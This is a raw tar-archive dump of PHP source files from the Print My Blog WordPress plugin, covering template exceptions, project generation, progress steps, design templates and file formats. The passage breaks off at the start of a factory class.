Current File : /home/campusedgeraleigh/webapps/campusedgeraleigh/src.tar
PrintMyBlog/exceptions/TemplateDoesNotExist.php 0000644 00000001073 14666776752 0015763 0 ustar 00 <?php
namespace PrintMyBlog\exceptions;
use Exception;
/**
* Class TemplateDoesNotExist
* @package PrintMyBlog\exceptions
*/
class TemplateDoesNotExist extends Exception
{
/**
* TemplateDoesNotExist constructor.
* @param string $template_file
*/
public function __construct($template_file)
{
parent::__construct(
sprintf(
// translators: %s: file path
__('Template file "%s" should exist but doesn\'t.', 'print-my-blog'),
$template_file
)
);
}
}
PrintMyBlog/exceptions/DesignTemplateDoesNotExist.php 0000644 00000001374 14666776752 0017121 0 ustar 00 <?php
namespace PrintMyBlog\exceptions;
use Exception;
/**
* Class DesignTemplateDoesNotExist
* @package PrintMyBlog\exceptions
*/
class DesignTemplateDoesNotExist extends Exception
{
/**
* DesignTemplateDoesNotExist constructor.
* @param string $design_slug
*/
public function __construct($design_slug)
{
parent::__construct(
sprintf(
// translators: %s: slug
__('The design with slug "%s" should exist but doesn\'t. Check the plugin that added that design is still active (and if it required a subscription, that the subscription is still up-to-date). For now, please choose a different design.', 'print-my-blog'),
$design_slug
)
);
}
}
PrintMyBlog/entities/ProjectGeneration.php 0000644 00000024212 14666776752 0014764 0 ustar 00 <?php
namespace PrintMyBlog\entities;
use DateTime;
use PrintMyBlog\factories\ProjectFileGeneratorFactory;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\entities\ProjectSection;
use PrintMyBlog\orm\managers\ProjectSectionManager;
use PrintMyBlog\services\generators\ProjectFileGeneratorBase;
use WP_Post;
/**
* Class ProjectGeneration
* Handles logic relating to creating a file for a project.
* (Sure we could stuff all this into PrintMyBlog\orm\entities\Project, but all the methods would need to receive a
* format parameter which makes it clear its best in a separate class.)
*
* @package PrintMyBlog\orm\entities
*/
class ProjectGeneration
{
const POSTMETA_GENERATED = '_pmb_generated_';
const POSTMETA_DIRTY = '_pmb_dirty_';
const POSTMETA_LAST_DIVISION = '_pmb_last_section_type_';
const POSTMETA_LAST_SECTION_ID = '_pmb_last_section_';
const POSTMETA_ERROR = '_pmb_error_';
/**
* @var Project
*/
private $project;
/**
* @var FileFormat
*/
private $format;
/**
* @var ProjectFileGeneratorBase
*/
protected $generator;
/**
* @var ProjectSectionManager
*/
protected $section_manager;
/**
* @var ProjectSection|null
*/
protected $last_section;
/**
* @var ProjectFileGeneratorFactory
*/
protected $project_generator_factory;
/**
* ProjectGeneration constructor.
* @param Project $project
* @param FileFormat $format
*/
public function __construct(Project $project, FileFormat $format)
{
$this->project = $project;
$this->format = $format;
}
/**
* @param ProjectSectionManager $section_manager
* @param ProjectFileGeneratorFactory $project_generator_factory
*/
public function inject(
ProjectSectionManager $section_manager,
ProjectFileGeneratorFactory $project_generator_factory
) {
$this->section_manager = $section_manager;
$this->project_generator_factory = $project_generator_factory;
}
/**
* Gets whether or not the transitionary HTML file has been generated for making the specified format.
*
* @return bool
*/
public function isGenerated()
{
return (bool)$this->generatedTimeSql();
}
/**
* Avoids a bit of repetition, when getting, with always appending the format for all the options saved for this
* project-meta combo.
* @param string $key to which the format's slug will automatically get appended.
*
* @return mixed
*/
protected function getPostMetaForFormat($key)
{
return get_post_meta(
$this->project->getWpPost()->ID,
$key . $this->format->slug(),
true
);
}
/**
* Avoids a bit of repetition, when setting, with always appending the format onto all the options saved for this
* project-format
* combo.
* @param string $key
* @param mixed $value
*
* @return bool|int
*/
protected function setPostMetaForFormat($key, $value)
{
return update_post_meta(
$this->project->getWpPost()->ID,
$key . $this->format->slug(),
$value
);
}
/**
* @param string $key
* @return bool
*/
protected function deletePostMetaForFormat($key)
{
return delete_post_meta(
$this->project->getWpPost()->ID,
$key . $this->format->slug()
);
}
/**
* @return string like 2020-02-02 02:02:02
*/
public function generatedTimeSql()
{
return $this->getPostMetaForFormat(self::POSTMETA_GENERATED);
}
/**
* Gets a timestamp showing when this file was generated.
* @return int
* @throws \Exception
*/
public function generatedTimestamp()
{
$d = new DateTime($this->generatedTimeSql());
return $d->getTimestamp();
}
/**
* Sets the time the transitionary HTML file was generated for this format.
* @return bool
*/
public function setIntermediaryGeneratedTime()
{
return $this->setPostMetaForFormat(self::POSTMETA_GENERATED, current_time('mysql'));
}
/**
* Forgets that the intermediary file was ever generated.
* @return bool
*/
public function clearIntermediaryGeneratedTime()
{
return $this->deletePostMetaForFormat(self::POSTMETA_GENERATED);
}
/**
* Gets the URL of the intermediary file
* @return string
*/
public function getGeneratedIntermediaryFileUrl()
{
$upload_dir_info = wp_upload_dir();
if (is_ssl()) {
$start = str_replace('http://', 'https://', $upload_dir_info['baseurl']);
} else {
$start = $upload_dir_info['baseurl'];
}
return $start . '/pmb/generated/' . $this->project->code() . '/' . $this->format->slug()
. '/' . rawurlencode($this->getFileName()) . '.html?uniqueness=' . current_time('timestamp');
}
/**
* The name of the file (minus extension)
* @return string
*/
protected function getFileName()
{
return $this->project->getWpPost()->post_name;
}
/**
* @return string
*/
public function getFileNameWithExtension()
{
return $this->getFileName() . '.' . $this->format->extension();
}
/**
* @return null
*/
public function generatedFileUrl()
{
return null;
}
/**
* Gets the filepath to the intermediary generated file.
* @return string
*/
public function getGeneratedIntermediaryFilePath()
{
return $this->getGeneratedIntermediaryFileFolderPath() . $this->project->getWpPost()->post_name . '.html';
}
/**
* Returns the filepath to the folder containing the generated file(s).
* @return string
*/
public function getGeneratedIntermediaryFileFolderPath()
{
$upload_dir_info = wp_upload_dir();
return str_replace(
'..',
'',
$upload_dir_info['basedir'] . '/pmb/generated/' . $this->project->code() . '/' . $this->format->slug() . '/'
);
}
/**
* @return bool complete
*/
public function generateIntermediaryFile()
{
$complete = $this->getProjectHtmlGenerator()->generateHtmlFile();
if ($complete) {
$this->setIntermediaryGeneratedTime();
}
return $complete;
}
/**
*
* @return ProjectFileGeneratorBase
*/
public function getProjectHtmlGenerator()
{
if (! $this->generator instanceof ProjectFileGeneratorBase) {
$generator_classname = $this->format->generatorClassname();
$design = $this->project->getDesignFor($this->format);
$this->generator = $this->project_generator_factory->create($generator_classname, $this, $design);
}
return $this->generator;
}
/**
* @return Project
*/
public function getProject()
{
return $this->project;
}
/**
* @return FileFormat
*/
public function getFormat()
{
return $this->format;
}
/**
* Returns whether or not the last generation of this project for this format is stale/needs-to-be-updated.
* @return bool
*/
public function isDirty()
{
return (bool)$this->getDirtyReasons();
}
/**
* Gets all the reasons this project generation may be dirty.
* @return array
*/
public function getDirtyReasons()
{
$reasons = $this->getPostMetaForFormat(self::POSTMETA_DIRTY);
if ($reasons) {
return $reasons;
}
return [];
}
/**
* Removes all the dirty reasons. Makes sense when the project file for this format is re-generated
*/
public function clearDirty()
{
$this->deletePostMetaForFormat(self::POSTMETA_DIRTY);
}
/**
* Adds another reason this project generation is dirty and should be re-done.
*
* @param string $key used to avoid duplicates
* @param string $dirty_reason translated string to be shown to end user.
* @return bool
*/
public function addDirtyReason($key, $dirty_reason)
{
$existing_reasons = $this->getDirtyReasons();
$existing_reasons[$key] = $dirty_reason;
return $this->setPostMetaForFormat(self::POSTMETA_DIRTY, $existing_reasons);
}
/**
* Deletes the generated files for this project in this format.
* @return bool success
*/
public function deleteGeneratedFiles()
{
$this->clearIntermediaryGeneratedTime();
return $this->getProjectHtmlGenerator()->deleteFile();
}
/**
* @return int ID
*/
public function getLastSectionId()
{
return (int)$this->getPostMetaForFormat(self::POSTMETA_LAST_SECTION_ID);
}
/**
* @return ProjectSection|null
*/
public function getLastSection()
{
if (! $this->last_section instanceof ProjectSection) {
$id = $this->getLastSectionId();
if (! $id) {
return null;
}
$this->last_section = $this->section_manager->getSection($id);
}
return $this->last_section;
}
/**
* Sets the last-used level. (How many layers deep the last-generated section was.)
*
* @param int $id
*
* @return bool
*/
public function setLastSectionId($id)
{
return $this->setPostMetaForFormat(self::POSTMETA_LAST_SECTION_ID, (int)$id);
}
/**
* @param ProjectSection $section
*
* @return bool|int
*/
public function setLastSection(ProjectSection $section)
{
$this->last_section = $section;
return $this->setLastSectionId($section->getId());
}
/**
* @param string $error_message
*/
public function setLastError($error_message)
{
$this->setPostMetaForFormat(self::POSTMETA_ERROR, $error_message);
}
/**
* Gets a string of text from the last error concerning this project generation
* @return string
*/
public function getLastError()
{
return (string)$this->getPostMetaForFormat(self::POSTMETA_ERROR);
}
}
PrintMyBlog/entities/ProjectProgress.php 0000644 00000020374 14666776752 0014502 0 ustar 00 <?php
namespace PrintMyBlog\entities;
use PrintMyBlog\controllers\Admin;
use PrintMyBlog\orm\entities\Project;
/**
* Class ProjectProgress
* @package PrintMyBlog\entities
* For logic relating to a project's progress.
*/
class ProjectProgress
{
const META_NAME = 'progress_';
const SETUP_STEP = 'setup';
const CHOOSE_DESIGN_STEP_PREFIX = 'choose_';
const CUSTOMIZE_DESIGN_STEP_PREFIX = 'customize_';
const EDIT_CONTENT_STEP = 'edit_content';
const EDIT_METADATA_STEP = 'edit_metdata';
const GENERATE_STEP = 'generate';
/**
* @var Project
*/
protected $project;
/**
* Cache the steps instead of recalculating it a ton.
* @var string[]
*/
protected $steps;
/**
* @var array
*/
protected $step_to_subaction_mapping = [
self::SETUP_STEP => Admin::SLUG_SUBACTION_PROJECT_SETUP,
self::CHOOSE_DESIGN_STEP_PREFIX => Admin::SLUG_SUBACTION_PROJECT_CHANGE_DESIGN,
self::CUSTOMIZE_DESIGN_STEP_PREFIX => Admin::SLUG_SUBACTION_PROJECT_CUSTOMIZE_DESIGN,
self::EDIT_CONTENT_STEP => Admin::SLUG_SUBACTION_PROJECT_CONTENT,
self::EDIT_METADATA_STEP => Admin::SLUG_SUBACTION_PROJECT_META,
self::GENERATE_STEP => Admin::SLUG_SUBACTION_PROJECT_GENERATE,
];
/**
* ProjectProgress constructor.
*
* @param Project $project
*/
public function __construct(Project $project)
{
$this->project = $project;
}
/**
* Sets the project to its initial state.
*/
public function initialize()
{
$steps = array_keys($this->getSteps());
$step_progress = [];
foreach ($steps as $step_name) {
$step_progress[$step_name] = false;
}
foreach ($step_progress as $slug => $done) {
$this->project->setPmbMeta($this->getStepMetaName($slug), $done);
}
}
/**
* @param string $step_slug
* @return string
*/
protected function getStepMetaName($step_slug)
{
return self::META_NAME . $step_slug;
}
/**
* Returns an array where keys are step slugs, and values are their translated names for display.
* @return string[]
*/
public function getSteps()
{
if ($this->steps === null) {
$steps = [
self::SETUP_STEP => __('Setup', 'print-my-blog'),
];
$formats_in_use = $this->project->getFormatsSelected();
foreach ($formats_in_use as $format) {
$steps[self::CHOOSE_DESIGN_STEP_PREFIX . $format->slug()] = sprintf(
// translators: %s design title
__('Choose %s Design', 'print-my-blog'),
$format->title()
);
$steps[self::CUSTOMIZE_DESIGN_STEP_PREFIX . $format->slug()] = sprintf(
// translators: %s design title
__('Customize %s Design', 'print-my-blog'),
$format->title()
);
}
$steps[self::EDIT_CONTENT_STEP] = __('Edit Content', 'print-my-blog');
$steps[self::EDIT_METADATA_STEP] = __('Edit Metadata', 'print-my-blog');
$steps[self::GENERATE_STEP] = __('Generate Print Page', 'print-my-blog');
$this->steps = $steps;
}
return $this->steps;
}
/**
* Gets the step progress. Keys are step slugs, values are whether it's complete or not.
* @return bool[]
*/
public function getStepProgress()
{
$steps = array_keys($this->getSteps());
$step_progress = [];
foreach ($steps as $step) {
$step_progress[$step] = (bool)$this->project->getPmbMeta($this->getStepMetaName($step));
}
return $step_progress;
}
/**
* Finds the next incomplete step and marks it as complete
*/
public function markNextStepComplete()
{
$next_step = $this->getNextStep();
$this->markStepComplete($next_step);
}
/**
* Marks the specified step as complete
* @param string $step
* @param bool $new_value
*/
public function markStepComplete($step, $new_value = true)
{
$this->project->setPmbMeta($this->getStepMetaName($step), $new_value);
}
/**
* @param string $format_slug
* @param bool $new_value
*/
public function markChooseDesignStepComplete($format_slug, $new_value = true)
{
$this->markStepComplete(self::CHOOSE_DESIGN_STEP_PREFIX . $format_slug, $new_value);
}
/**
* @param string $format_slug
* @param bool $new_value
*/
public function markCustomizeDesignStepComplete($format_slug, $new_value = true)
{
$this->markStepComplete(self::CUSTOMIZE_DESIGN_STEP_PREFIX . $format_slug, $new_value);
}
/**
* Gets the next incomplete step, or the last step if they're all done.
* @return string
*/
public function getNextStep()
{
$step_progress = $this->getStepProgress();
foreach ($step_progress as $step_slug => $complete) {
if (! $complete) {
return $step_slug;
}
}
return $step_slug;
}
/**
* Indicates whether this step was already complete or not.
* @param string $step_name
* @return bool|null returns null if $step_name isn't a step in this project's progress
*/
public function isStepComplete($step_name)
{
$steps = $this->getStepProgress();
if (isset($steps[$step_name])) {
return (bool)$steps[$step_name];
}
return null;
}
/**
* @return array keys are step slugs, values are URLs
*/
public function stepsToUrls()
{
$base_url_args = [
'ID' => $this->project->getWpPost()->ID,
'action' => Admin::SLUG_ACTION_EDIT_PROJECT,
];
$mapping = [];
foreach ($this->getSteps() as $step => $label) {
$args = $this->mapStepToSubactionArgs($step);
$mappings[$step] = add_query_arg(
array_merge($base_url_args, $args),
admin_url(PMB_ADMIN_PROJECTS_PAGE_PATH)
);
}
return $mappings;
}
/**
* @param string $step
* @return array {
* @type $subaction string
* @type $format string
* }
*/
public function mapStepToSubactionArgs($step)
{
if (strpos($step, self::CHOOSE_DESIGN_STEP_PREFIX) === 0) {
$format = str_replace(self::CHOOSE_DESIGN_STEP_PREFIX, '', $step);
$args['subaction'] = Admin::SLUG_SUBACTION_PROJECT_CHANGE_DESIGN;
$args['format'] = $format;
} elseif (strpos($step, self::CUSTOMIZE_DESIGN_STEP_PREFIX) === 0) {
$format = str_replace(self::CUSTOMIZE_DESIGN_STEP_PREFIX, '', $step);
$args['subaction'] = Admin::SLUG_SUBACTION_PROJECT_CUSTOMIZE_DESIGN;
$args['format'] = $format;
} else {
switch ($step) {
case self::SETUP_STEP:
$subaction = Admin::SLUG_SUBACTION_PROJECT_SETUP;
break;
case self::EDIT_CONTENT_STEP:
$subaction = Admin::SLUG_SUBACTION_PROJECT_CONTENT;
break;
case self::EDIT_METADATA_STEP:
$subaction = Admin::SLUG_SUBACTION_PROJECT_META;
break;
case self::GENERATE_STEP:
default:
$subaction = Admin::SLUG_SUBACTION_PROJECT_GENERATE;
}
$args['subaction'] = $subaction;
$args['format'] = null;
}
return $args;
}
/**
* @return array
*/
public function getNextStepPageArgs()
{
return $this->mapStepToSubactionArgs($this->getNextStep());
}
/**
* @param string $subaction
* @param string $format
*
* @return string
*/
public function mapSubactionToStep($subaction, $format = null)
{
$subaction_to_step = array_flip($this->step_to_subaction_mapping);
if (isset($subaction_to_step[$subaction])) {
$step = $subaction_to_step[$subaction];
if ($format) {
$step .= $format;
}
} else {
$step = self::SETUP_STEP;
}
return $step;
}
}
PrintMyBlog/entities/DesignTemplate.php 0000644 00000033531 14666776752 0014253 0 ustar 00 <?php
namespace PrintMyBlog\entities;
use Exception;
use PrintMyBlog\exceptions\TemplateDoesNotExist;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\services\FileFormatRegistry;
use PrintMyBlog\services\SectionTemplateRegistry;
use Twine\forms\base\FormSection;
/**
* Class DesignTemplate
* @package PrintMyBlog\entities
*/
class DesignTemplate
{
const IMPLIED_DIVISION_MAIN_MATTER = 'main';
const IMPLIED_DIVISION_PROJECT = 'project';
const IMPLIED_DIVISION_FRONT_MATTER = 'front_matter';
const IMPLIED_DIVISION_BACK_MATTER = 'back_matter';
const DIVISION_ARTICLE = 'article';
const DIVISION_PART = 'part';
const DIVISION_VOLUME = 'volume';
const DIVISION_ANTHOLOGY = 'anthology';
const TEMPLATE_TITLE_PAGE = 'title_page';
const TEMPLATE_JUST_CONTENT = 'just_content';
/**
* @var string
*/
protected $format_slug;
/**
* @var string
*/
protected $slug;
/**
* @var string
*/
protected $title;
/**
* @var string filepath to where the design's files are located
*/
protected $dir;
/**
* @var callable
*/
protected $design_form_callback;
/**
* @var string
*/
protected $default_design_slug;
/**
* @var FormSection
*/
protected $design_form;
/**
* @var callable
*/
protected $project_form_callback;
/**
* @var int
*/
protected $levels;
/**
* URL of the design templates directory.
* @var string
*/
protected $url;
/**
* @var FileFormatRegistry
*/
protected $file_format_registry;
/**
* @var DesignManager
*/
protected $design_manager;
/**
* @var FileFormat
*/
protected $format;
/**
* @var array strings indicating support for various features. Eg 'front_matter', 'back_matter', 'part', 'volume',
* 'anthology', etc.
*/
protected $supports = array();
/**
* @var SectionTemplate[] keys are slugs
*/
protected $custom_templates = array();
/**
* @var string
*/
protected $docs;
/**
* @var SectionTemplateRegistry
*/
private $section_template_registry;
/**
* DesignTemplate constructor.
*
* @param string $slug unique string identifying this design template
* @param array $args {
* @type string title sometimes shown to users
* @type string format "print_pdf" or "digital_pdf"
* @type string dir directory of the design (folder that ocntains its `functions.php`)
* @type callable design_form_callback returns \Twine\forms\base\FormSection to use on the "Customize Design" step
* @type callable project_form_callback returns a \Twine\forms\base\FormSection that will be merged with that of
* other designs used for the project on the "Edit Metadata" step.
* @type string docs URL of documentation
* @type string[] $supports can include 'front_matter', 'back_matter','part','volume','anthology'
* @type string[] $custom_templates includes slugs of custom templates registered with pmb_register_section_template()
* @type string $default_design_slug string of the default design that uses this design template
* }
*/
public function __construct($slug, $args)
{
$this->slug = $slug;
$this->title = $args['title'];
$this->format_slug = (string)$args['format'];
$this->dir = (string)$args['dir'];
$this->default_design_slug = (string)$args['default'];
$this->url = (string)$args['url'];
if (isset($args['docs'])) {
$this->docs = (string)$args['docs'];
}
if (isset($args['supports'])) {
$this->supports = (array)$args['supports'];
}
if (isset($args['custom_templates'])) {
$this->custom_templates = $args['custom_templates'];
}
$this->design_form_callback = $args['design_form_callback'];
$this->project_form_callback = $args['project_form_callback'];
}
/**
* @param FileFormatRegistry $file_format_registry
* @param DesignManager $design_manager
* @param SectionTemplateRegistry $section_template_registry
*/
public function inject(FileFormatRegistry $file_format_registry, DesignManager $design_manager, SectionTemplateRegistry $section_template_registry)
{
$this->file_format_registry = $file_format_registry;
$this->design_manager = $design_manager;
$this->section_template_registry = $section_template_registry;
}
/**
* @return string
*/
public function getFormatSlug()
{
return $this->format_slug;
}
/**
* @return FileFormat
*/
public function getFormat()
{
if (! $this->format instanceof FileFormat) {
$this->format = $this->file_format_registry->getFormat($this->getFormatSlug());
}
return $this->format;
}
/**
* @return mixed
*/
public function getSlug()
{
return $this->slug;
}
/**
* @return mixed
*/
public function getTitle()
{
return $this->title;
}
/**
* Gets the filepath to the root directory containing the design templates files.
* @return string
*/
public function getDir()
{
return trailingslashit($this->dir);
}
/**
* @return string
*/
public function getDirForTemplates()
{
return $this->getDir() . 'templates/';
}
/**
* @return string
*/
public function getUrl()
{
return trailingslashit($this->url);
}
/**
* @return string
*/
public function getAssetsUrl()
{
return $this->getUrl() . 'assets/';
}
/**
* @return FormSection
*/
public function getDesignFormTemplate()
{
if (! $this->design_form instanceof FormSection) {
$this->design_form = $this->getNewDesignFormTemplate();
}
return $this->design_form;
}
/**
* @return FormSection
* @throws Exception
*/
public function getNewDesignFormTemplate()
{
$form = call_user_func($this->design_form_callback);
if (! $form instanceof FormSection) {
throw new Exception('No Design form was specified for design template ' . $this->slug);
}
return $form;
}
/**
* Gets the callback that should return the FormSectinProper to be used for defining project meta.
* @return callable
*/
public function getProjectCallback()
{
return $this->project_form_callback;
}
/**
* Returns how many nesting levels or divisions this design allows.
* 0 means its flat sections, no nesting; 1 means it has parts-and-sections; 2 means books-parts-sections,
* 3 means books-parts-sections-subsections, etc.
* @return int
*/
public function getLevels()
{
if ($this->levels === null) {
if ($this->supports('anthology')) {
$this->levels = 3;
} elseif ($this->supports('volume')) {
$this->levels = 2;
} elseif ($this->supports('part')) {
$this->levels = 1;
} else {
$this->levels = 0;
}
}
return $this->levels;
}
/**
* Gets the path to where a template file is. If it doesn't exist, returns
* Makes no guarantee that the file exists.
*
* @param string $division see DesignTemplate::validDivisions()
* @param bool $beginning
* @param bool $use_fallback
* @return string
* @throws TemplateDoesNotExist
*/
public function getTemplatePathToDivision($division, $beginning = true, $use_fallback = true)
{
// add an underscore to the transition if its not the article template.
if (! $this->templateFileExists($division, $beginning, false) && $use_fallback) {
// check if it's a custom template and has a filepath. In that case, use it
// find out if the template is custom, if so ask it for its filepath
if ($this->supportsCustomTemplate($division)) {
$section_template = $this->section_template_registry->get($division);
if ($section_template instanceof SectionTemplate && $section_template->hasFilepath()) {
return $section_template->getFilepath();
}
}
if (! $this->getFormat()->getDefaultDesignTemplate()->templateFileExists($division, $beginning, false)) {
throw new TemplateDoesNotExist($this->calculateTemplatePathToDivision($division, $beginning));
}
// try the default design template, but don't infinitely keep trying fallbacks
return $this->getFormat()->getDefaultDesignTemplate()->getTemplatePathToDivision(
$division,
$beginning,
false
);
}
return $this->calculateTemplatePathToDivision($division, $beginning);
}
/**
* Calculates where thie template file SHOULD be in this design template, if it exists at all.
* @param string bool $division
* @param bool $beginning
*
* @return string
* @throws Exception
*/
protected function calculateTemplatePathToDivision($division, $beginning)
{
if (! $beginning) {
$division .= '_end';
}
return $this->getDirForTemplates() . $division . '.php';
}
/**
* @param string $division
* @param string $beginning
* @param bool $use_fallback
* @return bool
*/
public function templateFileExists($division, $beginning = true, $use_fallback = false)
{
$exists = file_exists($this->calculateTemplatePathToDivision($division, $beginning));
if (! $exists && $use_fallback) {
$exists = $this->getFormat()->getDefaultDesignTemplate()->calculateTemplatePathToDivision(
$division,
$beginning
);
}
return $exists;
}
/**
* Determines if the design template supports a type of division.
* @param string $division see DesignTemplate::validDivisions()
*
* @return bool
*/
public function supports($division)
{
return $division === self::IMPLIED_DIVISION_MAIN_MATTER
|| $this->templateFileExists($division)
|| in_array($division, $this->supports, true);
}
/**
* Gets the slug of the default design
* @return string
*/
public function getDefaultDesignSlug()
{
return $this->default_design_slug;
}
/**
* Gets the list of all valid divisions. These
* @return string[]
*/
public static function validDivisions()
{
return [
self::DIVISION_ARTICLE,
self::DIVISION_PART,
self::DIVISION_VOLUME,
self::DIVISION_ANTHOLOGY,
];
}
/**
* @param int $level
* @return string
*/
public function divisionLabelSingular($level)
{
$display = [
__('article', 'print-my-blog'),
__('part', 'print-my-blog'),
__('volume', 'print-my-blog'),
__('anthology', 'print-my-blog'),
];
return $display[$level];
}
/**
* All the valid values for the 'placement' column on the project sections table.
* @return string[]
*/
public static function validPlacements()
{
return [
self::IMPLIED_DIVISION_FRONT_MATTER,
self::IMPLIED_DIVISION_MAIN_MATTER,
self::IMPLIED_DIVISION_BACK_MATTER,
];
}
/**
* @return string[]
*/
public function getCustomTemplates()
{
return $this->custom_templates;
}
/**
* Adds the template to the list of custom template slugs used by this design template.
* It is assumed this custom template has already been registered with pmb_register_section_template()
* @param string $custom_template_slug
*/
public function addCustomTemplate($custom_template_slug)
{
$this->custom_templates[] = $custom_template_slug;
}
/**
* Indicates whether or not this custom section template is supported by this design template
* @param string $custom_template_slug
* @return bool
*/
public function supportsCustomTemplate($custom_template_slug)
{
$supported_custom_templates = $this->getCustomTemplates();
return in_array($custom_template_slug, $supported_custom_templates, true);
}
/**
* Tell us the slug of the section template you want to use, and we'll tell you the slug of the closest
* available template for this design template. It might be what you requested, or one of its fallbacks.
* @param string $desired_template_slug
* @return string template slug or empty string if we should use the default
*/
public function resolveSectionTemplateToUse($desired_template_slug)
{
while ($desired_template_slug) {
if ($this->supports($desired_template_slug) || $this->supportsCustomTemplate($desired_template_slug)) {
return $desired_template_slug;
}
$section_template = $this->section_template_registry->get($desired_template_slug);
$desired_template_slug = $section_template->fallbackSlug();
}
return '';
}
/**
* Gets the default design object
* @return Design|null
*/
public function getDefaultDesign()
{
return $this->design_manager->getBySlug($this->getDefaultDesignSlug());
}
/**
* @return string
*/
public function getDocs()
{
return $this->docs;
}
/**
* @param string $docs
*/
public function setDocs($docs)
{
$this->docs = $docs;
}
}
PrintMyBlog/entities/FileFormat.php 0000644 00000013622 14666776752 0013375 0 ustar 00 <?php
namespace PrintMyBlog\entities;
use PrintMyBlog\services\DesignTemplateRegistry;
use Exception;
use PrintMyBlog\services\generators\ProjectFileGeneratorBase;
use Twine\forms\helpers\ImproperUsageException;
/**
* Class FileFormat
* @package PrintMyBlog\entities
*/
class FileFormat
{
/**
* @var string
*/
protected $title;
/**
* @var string
*/
protected $slug;
/**
* @var string
*/
protected $desc;
/**
* @var string
*/
protected $default_design_template_slug;
/**
* @var DesignTemplate
*/
protected $default_design_template;
/**
* @var DesignTemplateRegistry
*/
protected $design_template_registry;
/**
* @var mixed
*/
protected $generator;
/**
* @var string dashicon used for format. See https://developer.wordpress.org/resource/dashicons/
*/
protected $icon;
/**
* @var mixed
*/
protected $color;
/**
* @var string
*/
protected $extension;
/**
* @var bool Whether this version of PMB has all the necessary files to support this format
*/
protected $supported = true;
/**
* @var string text used to upsell if not supported in this version.
*/
protected $upsell = '';
/**
* ProjectFormat constructor.
*
* @param array $data {
* @type string $title
* @type string $slug title slugified
* @type string $desc
* @type ProjectFileGeneratorBase $generator
* @type string $default design template
* @type string $color
* @type string $icon
* @type string $extension
* }
* @throws ImproperUsageException
*/
public function __construct($data = [])
{
if (isset($data['title'])) {
$this->title = $data['title'];
}
if (isset($data['desc'])) {
$this->desc = $data['desc'];
}
if (! isset($data['generator'])) {
throw new ImproperUsageException(
// translators: %s format slug
__('No generator class specified for format "%s"', 'print-my-blog'),
$this->slug()
);
}
if (isset($data['default'])) {
$this->default_design_template_slug = (string)$data['default'];
}
$this->generator = $data['generator'];
if (isset($data['icon'])) {
$this->icon = $data['icon'];
}
if (isset($data['color'])) {
$this->color = $data['color'];
} else {
$this->color = 'black';
}
if (isset($data['extension'])) {
$this->extension = $data['extension'];
} else {
$this->extension = 'pdf';
}
if (array_key_exists('supported', $data)) {
$this->supported = $data['supported'];
}
if (array_key_exists('upsell', $data)) {
$this->upsell = $data['upsell'];
}
}
/**
* @param DesignTemplateRegistry $design_template_registry
*/
public function inject(DesignTemplateRegistry $design_template_registry)
{
$this->design_template_registry = $design_template_registry;
}
/**
* @return string
*/
public function title()
{
return $this->title;
}
/**
* @return string
*/
public function titleAndIcon()
{
return $this->title() . '<span class="pmb-icon dashicons ' . $this->icon() . '"></span>';
}
/**
* @return string
*/
public function coloredTitleAndIcon()
{
$html = '<span class="pmb-emphasis" style="background-color:' . $this->color() . '">' . $this->titleAndIcon() . '</span>';
if (! $this->supported() && $this->upsell()) {
$html .= pmb_pro_print_service_only($this->upsell());
}
return $html;
}
/**
* Finalizes making the object ready-for-use by setting the slug.
* This is done because the manager knows the slug initially and this doesn't.
* @param string $slug
*/
public function constructFinalize($slug)
{
$this->slug = $slug;
if (! $this->title) {
$this->title = $slug;
}
}
/**
* @return string
*/
public function slug()
{
return $this->slug;
}
/**
* @return string
*/
public function desc()
{
return $this->desc;
}
/**
* Gets the project generator classname.
* @return string
*/
public function generatorClassname()
{
return $this->generator;
}
/**
* @return string
*/
public function defaultDesignTemplateSlug()
{
return $this->default_design_template_slug;
}
/**
* @return DesignTemplate
* @throws Exception
*/
public function getDefaultDesignTemplate()
{
if (! $this->default_design_template instanceof DesignTemplate) {
$this->default_design_template = $this->design_template_registry->getDesignTemplate(
$this->defaultDesignTemplateSlug()
);
}
return $this->default_design_template;
}
/**
* @return string|null
*/
public function icon()
{
return $this->icon;
}
/**
* @return string|null
*/
public function color()
{
return $this->color;
}
/**
* @return string
*/
public function extension()
{
return $this->extension;
}
/**
* Returns true if this version of PMB has all the necessary files to create files using this format.
* (Eg some large Javascript files are excluded from some versions of PMB which means some formats can't be
* created in this version.)
* @return bool
*/
public function supported()
{
return $this->supported;
}
/**
* @return string
*/
public function upsell()
{
return $this->upsell;
}
}
PrintMyBlog/entities/SectionTemplate.php 0000644 00000005273 14666776752 0014450 0 ustar 00 <?php
namespace PrintMyBlog\entities;
/**
* Class SectionTemplate
* @package PrintMyBlog\entities
*/
class SectionTemplate
{
/**
* @var string
*/
protected $title;
/**
* @var string
*/
protected $fallback;
/**
* @var string
*/
protected $slug;
/**
* The ProjectFileGeneratorBase's should use a template file with the same name as the slug in the templates
* directory of the design. Eg for the Buurma Design, and we're using the section template 'just_content',
* if printmyblog/designs/pdf/digital/buurma/templates/just_content.php exists, use that (even if a filepath is defined).
* But if not, use the filepath. If that doesn't exist, fallback to the file format's default design's file.
* Ie, printmyblog/designs/pdf/digital/classic/templates/just_content.php. If that doesn't exist, fallback to the
* default division template in this design (printmyblog/designs/pdf/buurma/templates/article.php) and lastly fallback
* to the default design's default template (printmyblog/designs/pdf/classic/tempalte/article.php).
* @var string
*/
protected $filepath;
/**
* SectionTemplate constructor.
* @param array $data {
* @type string $title
* @type string $fallback slug of section template to fallback to
* @type string $filepath the filepath of the section template if it doesn't exist in the design template's
* "templates" folder
*/
public function __construct($data)
{
if (isset($data['title'])) {
$this->title = $data['title'];
}
if (isset($data['fallback'])) {
$this->fallback = $data['fallback'];
}
if (isset($data['filepath'])) {
$this->filepath = $data['filepath'];
}
}
/**
* @param string $slug
*/
public function constructFinalize($slug)
{
$this->slug = $slug;
if (! $this->title) {
$this->title = $slug;
}
}
/**
* @return string translated
*/
public function title()
{
return $this->title;
}
/**
* Returns the slug of the section template to fallback to
* @return string
*/
public function fallbackSlug()
{
return $this->fallback;
}
/**
* @return string
*/
public function slug()
{
return $this->slug;
}
/**
* @return string
*/
public function getFilepath()
{
return $this->filepath;
}
/**
* Returns true if the section template has a filepath defined.
* @return bool
*/
public function hasFilepath()
{
return (bool)$this->filepath;
}
}
PrintMyBlog/factories/ProjectFileGeneratorFactory.php 0000644 00000001426 14666776752 0017104 0 ustar 00 <?php
namespace PrintMyBlog\factories;
use PrintMyBlog\entities\ProjectGeneration;
use PrintMyBlog\orm\entities\Design;
